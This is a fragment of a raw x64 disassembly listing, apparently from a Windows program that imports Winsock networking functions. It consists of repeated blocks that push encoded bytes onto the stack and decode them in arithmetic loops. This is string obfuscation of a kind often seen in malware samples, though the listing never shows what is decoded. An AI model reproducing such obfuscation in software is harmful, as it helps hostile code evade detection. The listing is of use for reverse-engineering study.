mov byte [rsp + rax + 0x478], cl
add rax, 1
cmp rax, 0x15
jne 0x1400183f0
lea rax, [rsp + 0x479]
mov qword [rsp + 0x668], rax
mov byte [rsp + 0x460], 0
mov byte [rsp + 0x461], 0x14
mov byte [rsp + 0x462], 0x71
mov byte [rsp + 0x463], 0x6d
mov byte [rsp + 0x464], 0x71
mov byte [rsp + 0x465], 0x4b
mov byte [rsp + 0x466], 0x71
mov byte [rsp + 0x467], 0x4b
mov byte [rsp + 0x468], 0x71
mov byte [rsp + 0x469], 0x5b
mov byte [rsp + 0x46a], 0x71
mov byte [rsp + 0x46b], 0x2f
mov byte [rsp + 0x46c], 0x71
mov byte [rsp + 0x46d], 0x49
mov byte [rsp + 0x46e], 0x71
mov byte [rsp + 0x46f], 0x70
mov byte [rsp + 0x470], 0x71
mov byte [rsp + 0x471], 0x49
mov byte [rsp + 0x472], 0x71
mov byte [rsp + 0x473], 0x71
mov byte [rsp + 0x474], 0x71
mov al, byte [rsp + 0x460]
test al, 1
jne 0x1400185c0
mov eax, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x460]
movzx ecx, cl
lea edx, [rcx*8]
sub edx, ecx
mov ecx, edx
add ecx, 0xfffffce9
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffce9
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffce9
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x460], cl
add rax, 1
cmp rax, 0x15
jne 0x140018540
lea rax, [rsp + 0x461]
mov qword [rsp + 0x670], rax
mov byte [rsp + 0x448], 0
mov byte [rsp + 0x449], 0x2c
mov byte [rsp + 0x44a], 0x5e
mov byte [rsp + 0x44b], 0x65
mov byte [rsp + 0x44c], 0x5e
mov byte [rsp + 0x44d], 0x20
mov byte [rsp + 0x44e], 0x5e
mov byte [rsp + 0x44f], 0x46
mov byte [rsp + 0x450], 0x5e
mov byte [rsp + 0x451], 0x72
mov byte [rsp + 0x452], 0x5e
mov byte [rsp + 0x453], 0x6c
mov byte [rsp + 0x454], 0x5e
mov byte [rsp + 0x455], 0x4f
mov byte [rsp + 0x456], 0x5e
mov byte [rsp + 0x457], 0x6c
mov byte [rsp + 0x458], 0x5e
mov byte [rsp + 0x459], 0x58
mov byte [rsp + 0x45a], 0x5e
mov byte [rsp + 0x45b], 0x6c
mov byte [rsp + 0x45c], 0x5e
mov byte [rsp + 0x45d], 0x5e
mov byte [rsp + 0x45e], 0x5e
mov al, byte [rsp + 0x448]
test al, 1
jne 0x140018716
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x448]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x758
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x758
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x448], cl
add rax, 1
cmp rax, 0x17
jne 0x1400186a0
lea rax, [rsp + 0x449]
mov qword [rsp + 0x678], rax
mov byte [rsp + 0x428], 0
mov byte [rsp + 0x429], 0x47
mov byte [rsp + 0x42a], 0x3d
mov byte [rsp + 0x42b], 0x18
mov byte [rsp + 0x42c], 0x3d
mov byte [rsp + 0x42d], 0x6d
mov byte [rsp + 0x42e], 0x3d
mov byte [rsp + 0x42f], 0x18
mov byte [rsp + 0x430], 0x3d
mov byte [rsp + 0x431], 0x47
mov byte [rsp + 0x432], 0x3d
mov byte [rsp + 0x433], 0x34
mov byte [rsp + 0x434], 0x3d
mov byte [rsp + 0x435], 0x6d
mov byte [rsp + 0x436], 0x3d
mov byte [rsp + 0x437], 0x40
mov byte [rsp + 0x438], 0x3d
mov byte [rsp + 0x439], 0x6d
mov byte [rsp + 0x43a], 0x3d
mov byte [rsp + 0x43b], 0x71
mov byte [rsp + 0x43c], 0x3d
mov byte [rsp + 0x43d], 0x6d
mov byte [rsp + 0x43e], 0x3d
mov byte [rsp + 0x43f], 0x3d
mov byte [rsp + 0x440], 0x3d
mov al, byte [rsp + 0x428]
test al, 1
jne 0x14001888a
mov eax, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x428]
movzx ecx, cl
imul ecx, ecx, 0xffffffe5
mov edx, ecx
add edx, 0x66f
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x66f
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x66f
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x428], cl
add rax, 1
cmp rax, 0x19
jne 0x140018810
lea rax, [rsp + 0x429]
mov qword [rsp + 0x680], rax
mov byte [rsp + 0x408], 0
mov byte [rsp + 0x409], 3
mov byte [rsp + 0x40a], 0x38
mov byte [rsp + 0x40b], 7
mov byte [rsp + 0x40c], 0x38
mov byte [rsp + 0x40d], 0x5b
mov byte [rsp + 0x40e], 0x38
mov byte [rsp + 0x40f], 1
mov byte [rsp + 0x410], 0x38
mov byte [rsp + 0x411], 3
mov byte [rsp + 0x412], 0x38
mov byte [rsp + 0x413], 3
mov byte [rsp + 0x414], 0x38
mov byte [rsp + 0x415], 0x55
mov byte [rsp + 0x416], 0x38
mov byte [rsp + 0x417], 2
mov byte [rsp + 0x418], 0x38
mov byte [rsp + 0x419], 0x51
mov byte [rsp + 0x41a], 0x38
mov byte [rsp + 0x41b], 9
mov byte [rsp + 0x41c], 0x38
mov byte [rsp + 0x41d], 0x51
mov byte [rsp + 0x41e], 0x38
mov byte [rsp + 0x41f], 0x38
mov byte [rsp + 0x420], 0x38
mov al, byte [rsp + 0x408]
test al, 1
jne 0x1400189fa
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x408]
movzx ecx, cl
imul ecx, ecx, 0xffffffc2
mov edx, ecx
add edx, 0xd90
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xd90
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xd90
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x408], cl
add rax, 1
cmp rax, 0x19
jne 0x140018980
lea rax, [rsp + 0x409]
mov qword [rsp + 0x688], rax
mov byte [rsp + 0x3e8], 0
mov byte [rsp + 0x3e9], 0x25
mov byte [rsp + 0x3ea], 0x79
mov byte [rsp + 0x3eb], 6
mov byte [rsp + 0x3ec], 0x79
mov byte [rsp + 0x3ed], 0
mov byte [rsp + 0x3ee], 0x79
mov byte [rsp + 0x3ef], 0x4d
mov byte [rsp + 0x3f0], 0x79
mov byte [rsp + 0x3f1], 0x63
mov byte [rsp + 0x3f2], 0x79
mov byte [rsp + 0x3f3], 0x25
mov byte [rsp + 0x3f4], 0x79
mov byte [rsp + 0x3f5], 0x66
mov byte [rsp + 0x3f6], 0x79
mov byte [rsp + 0x3f7], 0x22
mov byte [rsp + 0x3f8], 0x79
mov byte [rsp + 0x3f9], 0x17
mov byte [rsp + 0x3fa], 0x79
mov byte [rsp + 0x3fb], 0x4d
mov byte [rsp + 0x3fc], 0x79
mov byte [rsp + 0x3fd], 0x1f
mov byte [rsp + 0x3fe], 0x79
mov byte [rsp + 0x3ff], 0x4d
mov byte [rsp + 0x400], 0x79
mov byte [rsp + 0x401], 0x79
mov byte [rsp + 0x402], 0x79
mov al, byte [rsp + 0x3e8]
test al, 1
jne 0x140018b7e
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x3e8]
movzx ecx, cl
lea edx, [rcx + rcx*4]
lea ebx, [rcx + rdx*8]
lea ecx, [rcx + rdx*8]
add ecx, 0xffffec9f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xffffec9f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xffffec9f
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x3e8], cl
add rax, 1
cmp rax, 0x1b
jne 0x140018b00
lea rax, [rsp + 0x3e9]
mov qword [rsp + 0x690], rax
mov byte [rsp + 0x3c0], 0
mov byte [rsp + 0x3c1], 0x57
mov byte [rsp + 0x3c2], gethostbyname
mov byte [rsp + 0x3c3], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3c4], gethostbyname
mov byte [rsp + 0x3c5], 0x47
mov byte [rsp + 0x3c6], gethostbyname
mov byte [rsp + 0x3c7], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x3c8], gethostbyname
mov byte [rsp + 0x3c9], shutdown
mov byte [rsp + 0x3ca], gethostbyname
mov byte [rsp + 0x3cb], 0x65
mov byte [rsp + 0x3cc], gethostbyname
mov byte [rsp + 0x3cd], 0x1d
mov byte [rsp + 0x3ce], gethostbyname
mov byte [rsp + 0x3cf], 0x57
mov byte [rsp + 0x3d0], gethostbyname
mov byte [rsp + 0x3d1], 0x1d
mov byte [rsp + 0x3d2], gethostbyname
mov byte [rsp + 0x3d3], 0x65
mov byte [rsp + 0x3d4], gethostbyname
mov byte [rsp + 0x3d5], gethostbyname
mov byte [rsp + 0x3d6], gethostbyname
mov byte [rsp + 0x3d7], 0x64
mov byte [rsp + 0x3d8], gethostbyname
mov byte [rsp + 0x3d9], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x3da], gethostbyname
mov byte [rsp + 0x3db], 0x1d
mov byte [rsp + 0x3dc], gethostbyname
mov byte [rsp + 0x3dd], 0x25
mov byte [rsp + 0x3de], gethostbyname
mov byte [rsp + 0x3df], 0x1d
mov byte [rsp + 0x3e0], gethostbyname
mov byte [rsp + 0x3e1], shutdown
mov byte [rsp + 0x3e2], gethostbyname
mov byte [rsp + 0x3e3], 0x1d
mov byte [rsp + 0x3e4], gethostbyname
mov byte [rsp + 0x3e5], gethostbyname
mov byte [rsp + 0x3e6], gethostbyname
mov al, byte [rsp + 0x3c0]
test al, 1
jne 0x140018d5b
mov eax, 1
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x3c0]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ecx, [rcx + rcx*8]
add ecx, 0xfffffe62
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffe62
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffe62
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x3c0], cl
add rax, 1
cmp rax, 0x27
jne 0x140018ce0
lea rax, [rsp + 0x3c1]
mov qword [rsp + 0x698], rax
mov byte [rsp + 0x3a8], 0
mov byte [rsp + 0x3a9], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x3aa], 0x7d
mov byte [rsp + 0x3ab], 0x3d
mov byte [rsp + 0x3ac], 0x7d
mov byte [rsp + 0x3ad], shutdown
mov byte [rsp + 0x3ae], 0x7d
mov byte [rsp + 0x3af], gethostbyname
mov byte [rsp + 0x3b0], 0x7d
mov byte [rsp + 0x3b1], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3b2], 0x7d
mov byte [rsp + 0x3b3], 0x5d
mov byte [rsp + 0x3b4], 0x7d
mov byte [rsp + 0x3b5], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3b6], 0x7d
mov byte [rsp + 0x3b7], 0x7d
mov byte [rsp + 0x3b8], 0x7d
mov al, byte [rsp + 0x3a8]
test al, 1
jne 0x140018e90
xor eax, eax
nop word cs:[rax + rax]
nop
movzx ecx, byte [rsp + rax + 0x3a9]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea edx, [rdx + rdx*2]
lea ebx, [rcx + rdx]
add ebx, 0xfffff254
add ecx, edx
movsx edx, bx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff254
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfffff254
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x3a9], cl
add rax, 1
cmp rax, 0x10
jne 0x140018e10
lea rax, [rsp + 0x3a9]
mov qword [rsp + 0x6a0], rax
mov byte [rsp + 0x390], 0
mov byte [rsp + 0x391], 0x50
mov byte [rsp + 0x392], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x393], gethostname
mov byte [rsp + 0x394], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x395], 0x3f
mov byte [rsp + 0x396], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x397], 0x28
mov byte [rsp + 0x398], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x399], WSACleanup
mov byte [rsp + 0x39a], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x39b], 0x60
mov byte [rsp + 0x39c], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x39d], 0x3f
mov byte [rsp + 0x39e], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x39f], 0x4d
mov byte [rsp + 0x3a0], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x3a1], 0x3f
mov byte [rsp + 0x3a2], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x3a3], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x3a4], reloc.WS2_32.dll_shutdown
mov al, byte [rsp + 0x390]
test al, 1
jne 0x140018fda
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x390]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0x3c8
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x3c8
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x3c8
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x390], cl
add rax, 1
cmp rax, 0x15
jne 0x140018f60
lea rax, [rsp + 0x391]
mov qword [rsp + 0x6a8], rax
mov byte [rsp + 0x370], 0
mov byte [rsp + 0x371], 0x62
mov byte [rsp + 0x372], 0x1f
mov byte [rsp + 0x373], 1
mov byte [rsp + 0x374], 0x1f
mov byte [rsp + 0x375], 0x49
mov byte [rsp + 0x376], 0x1f
mov byte [rsp + 0x377], shutdown
mov byte [rsp + 0x378], 0x1f
mov byte [rsp + 0x379], 0x67
mov byte [rsp + 0x37a], 0x1f
mov byte [rsp + 0x37b], gethostbyname
mov byte [rsp + 0x37c], 0x1f
mov byte [rsp + 0x37d], 0x44
mov byte [rsp + 0x37e], 0x1f
mov byte [rsp + 0x37f], 0x1c
mov byte [rsp + 0x380], 0x1f
mov byte [rsp + 0x381], 7
mov byte [rsp + 0x382], 0x1f
mov byte [rsp + 0x383], 0x1c
mov byte [rsp + 0x384], 0x1f
mov byte [rsp + 0x385], 0x7b
mov byte [rsp + 0x386], 0x1f
mov byte [rsp + 0x387], 0x1c
mov byte [rsp + 0x388], 0x1f
mov byte [rsp + 0x389], 0x1f
mov byte [rsp + 0x38a], 0x1f
mov al, byte [rsp + 0x370]
test al, 1
jne 0x14001915a
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x370]
movzx ecx, cl
imul ecx, ecx, 0x33
mov edx, ecx
add edx, 0xfffff9d3
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff9d3
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfffff9d3
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x370], cl
add rax, 1
cmp rax, 0x1b
jne 0x1400190e0
lea rax, [rsp + 0x371]
mov qword [rsp + 0x6b0], rax
mov byte [rsp + 0x348], 0
mov byte [rsp + 0x349], 0x23
mov byte [rsp + 0x34a], 0x44
mov byte [rsp + 0x34b], WSAGetLastError
mov byte [rsp + 0x34c], 0x44
mov byte [rsp + 0x34d], 2
mov byte [rsp + 0x34e], 0x44
mov byte [rsp + 0x34f], 0x1d
mov byte [rsp + 0x350], 0x44
mov byte [rsp + 0x351], WSACleanup
mov byte [rsp + 0x352], 0x44
mov byte [rsp + 0x353], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x354], 0x44
mov byte [rsp + 0x355], shutdown
mov byte [rsp + 0x356], 0x44
mov byte [rsp + 0x357], shutdown
mov byte [rsp + 0x358], 0x44
mov byte [rsp + 0x359], pe_nt_image_headers64
mov byte [rsp + 0x35a], 0x44
mov byte [rsp + 0x35b], 2
mov byte [rsp + 0x35c], 0x44
mov byte [rsp + 0x35d], 0x7b
mov byte [rsp + 0x35e], 0x44
mov byte [rsp + 0x35f], 0x4f
mov byte [rsp + 0x360], 0x44
mov byte [rsp + 0x361], 0x75
mov byte [rsp + 0x362], 0x44
mov byte [rsp + 0x363], gethostbyname
mov byte [rsp + 0x364], 0x44
mov byte [rsp + 0x365], 0x75
mov byte [rsp + 0x366], 0x44
mov byte [rsp + 0x367], 0x44
mov byte [rsp + 0x368], 0x44
mov al, byte [rsp + 0x348]
test al, 1
jne 0x1400192fa
xor eax, eax
nop
movzx ecx, byte [rsp + rax + 0x349]
movzx ecx, cl
imul ecx, ecx, 0xffffffd6
mov edx, ecx
add edx, 0xb28
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xb28
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xb28
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x349], cl
add rax, 1
cmp rax, 0x20
jne 0x140019280
lea rax, [rsp + 0x349]
mov qword [rsp + 0x6b8], rax
mov byte [rsp + 0x330], 0
mov byte [rsp + 0x331], pe_nt_image_headers64
mov byte [rsp + 0x332], gethostbyname
mov byte [rsp + 0x333], 0x52
mov byte [rsp + 0x334], gethostbyname
mov byte [rsp + 0x335], 9
mov byte [rsp + 0x336], gethostbyname
mov byte [rsp + 0x337], 0x3f
mov byte [rsp + 0x338], gethostbyname
mov byte [rsp + 0x339], 0x51
mov byte [rsp + 0x33a], gethostbyname
mov byte [rsp + 0x33b], pe_nt_image_headers64
mov byte [rsp + 0x33c], gethostbyname
mov byte [rsp + 0x33d], WSACleanup
mov byte [rsp + 0x33e], gethostbyname
mov byte [rsp + 0x33f], 9
mov byte [rsp + 0x340], gethostbyname
mov byte [rsp + 0x341], gethostbyname
mov byte [rsp + 0x342], gethostbyname
mov byte [rsp + 0x343], 9
mov byte [rsp + 0x344], gethostbyname
mov byte [rsp + 0x345], gethostbyname
mov byte [rsp + 0x346], gethostbyname
mov al, byte [rsp + 0x330]
test al, 1
jne 0x140019460
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x330]
movzx ecx, cl
lea edx, [rcx*8]
sub edx, ecx
mov ecx, edx
add ecx, 0xfffffea9
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffea9
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffea9
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x330], cl
add rax, 1
cmp rax, 0x17
jne 0x1400193e0
lea rax, [rsp + 0x331]
mov qword [rsp + 0x6c0], rax
mov byte [rsp + 0x308], 0
mov byte [rsp + 0x309], WSAGetLastError
mov byte [rsp + 0x30a], shutdown
mov byte [rsp + 0x30b], 0xa
mov byte [rsp + 0x30c], shutdown
mov byte [rsp + 0x30d], 0x29
mov byte [rsp + 0x30e], shutdown
mov byte [rsp + 0x30f], 0x7a
mov byte [rsp + 0x310], shutdown
mov byte [rsp + 0x311], shutdown
mov byte [rsp + 0x312], shutdown
mov byte [rsp + 0x313], 0x51
mov byte [rsp + 0x314], shutdown
mov byte [rsp + 0x315], WSACleanup
mov byte [rsp + 0x316], shutdown
mov byte [rsp + 0x317], 0x19
mov byte [rsp + 0x318], shutdown
mov byte [rsp + 0x319], 0x47
mov byte [rsp + 0x31a], shutdown
mov byte [rsp + 0x31b], WSACleanup
mov byte [rsp + 0x31c], shutdown
mov byte [rsp + 0x31d], shutdown
mov byte [rsp + 0x31e], shutdown
mov byte [rsp + 0x31f], 0x1c
mov byte [rsp + 0x320], shutdown
mov byte [rsp + 0x321], 0x51
mov byte [rsp + 0x322], shutdown
mov byte [rsp + 0x323], 0x61
mov byte [rsp + 0x324], shutdown
mov byte [rsp + 0x325], 0x51
mov byte [rsp + 0x326], shutdown
mov byte [rsp + 0x327], shutdown
mov byte [rsp + 0x328], shutdown
mov al, byte [rsp + 0x308]
test al, 1
jne 0x14001960e
xor eax, eax
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x309]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rcx*4]
add ecx, 0xfffffe70
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffe70
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffe70
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x309], cl
add rax, 1
cmp rax, 0x20
jne 0x140019590
lea rax, [rsp + 0x309]
mov qword [rsp + 0x6c8], rax
mov byte [rsp + 0x2f0], 0
mov byte [rsp + 0x2f1], 0x27
mov byte [rsp + 0x2f2], inet_ntoa
mov byte [rsp + 0x2f3], reloc.WS2_32.dll_socket
mov byte [rsp + 0x2f4], inet_ntoa
mov byte [rsp + 0x2f5], 6
mov byte [rsp + 0x2f6], inet_ntoa
mov byte [rsp + 0x2f7], reloc.WS2_32.dll_socket
mov byte [rsp + 0x2f8], inet_ntoa
mov byte [rsp + 0x2f9], 0x59
mov byte [rsp + 0x2fa], inet_ntoa
mov byte [rsp + 0x2fb], 9
mov byte [rsp + 0x2fc], inet_ntoa
mov byte [rsp + 0x2fd], WSAGetLastError
mov byte [rsp + 0x2fe], inet_ntoa
mov byte [rsp + 0x2ff], 0x3d
mov byte [rsp + 0x300], inet_ntoa
mov byte [rsp + 0x301], WSAGetLastError
mov byte [rsp + 0x302], inet_ntoa
mov byte [rsp + 0x303], inet_ntoa
mov byte [rsp + 0x304], inet_ntoa
mov al, byte [rsp + 0x2f0]
test al, 1
jne 0x14001975a
mov eax, 1
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x2f0]
movzx ecx, cl
imul ecx, ecx, 0xffffffe9
mov edx, ecx
add edx, 0xfd
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfd
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfd
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x2f0], cl
add rax, 1
cmp rax, 0x15
jne 0x1400196e0
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0x6d0], rax
mov byte [rsp + 0x2d0], 0
mov byte [rsp + 0x2d1], WSACleanup
mov byte [rsp + 0x2d2], 0x4c
mov byte [rsp + 0x2d3], shutdown
mov byte [rsp + 0x2d4], 0x4c
mov byte [rsp + 0x2d5], WSAGetLastError
mov byte [rsp + 0x2d6], 0x4c
mov byte [rsp + 0x2d7], WSACleanup
mov byte [rsp + 0x2d8], 0x4c
mov byte [rsp + 0x2d9], reloc.WS2_32.dll_socket
mov byte [rsp + 0x2da], 0x4c
mov byte [rsp + 0x2db], 0x19
mov byte [rsp + 0x2dc], 0x4c
mov byte [rsp + 0x2dd], 0x3a
mov byte [rsp + 0x2de], 0x4c
mov byte [rsp + 0x2df], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x2e0], 0x4c
mov byte [rsp + 0x2e1], 0x65
mov byte [rsp + 0x2e2], 0x4c
mov byte [rsp + 0x2e3], 0x1d
mov byte [rsp + 0x2e4], 0x4c
mov byte [rsp + 0x2e5], 0x65
mov byte [rsp + 0x2e6], 0x4c
mov byte [rsp + 0x2e7], 0x4c
mov byte [rsp + 0x2e8], 0x4c
mov al, byte [rsp + 0x2d0]
test al, 1
jne 0x1400198ca
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x2d0]
movzx ecx, cl
imul ecx, ecx, 0xffffffc2
mov edx, ecx
add edx, 0x1268
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x1268
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x1268
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x2d0], cl
add rax, 1
cmp rax, 0x19
jne 0x140019850
lea rax, [rsp + 0x2d1]
mov qword [rsp + 0x6d8], rax
mov byte [rsp + 0x2b0], 0
mov byte [rsp + 0x2b1], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x2b2], 1
mov byte [rsp + 0x2b3], 0x67
mov byte [rsp + 0x2b4], 1
mov byte [rsp + 0x2b5], 0x44
mov byte [rsp + 0x2b6], 1
mov byte [rsp + 0x2b7], 0x3e
mov byte [rsp + 0x2b8], 1
mov byte [rsp + 0x2b9], gethostbyname
mov byte [rsp + 0x2ba], 1
mov byte [rsp + 0x2bb], 0x61
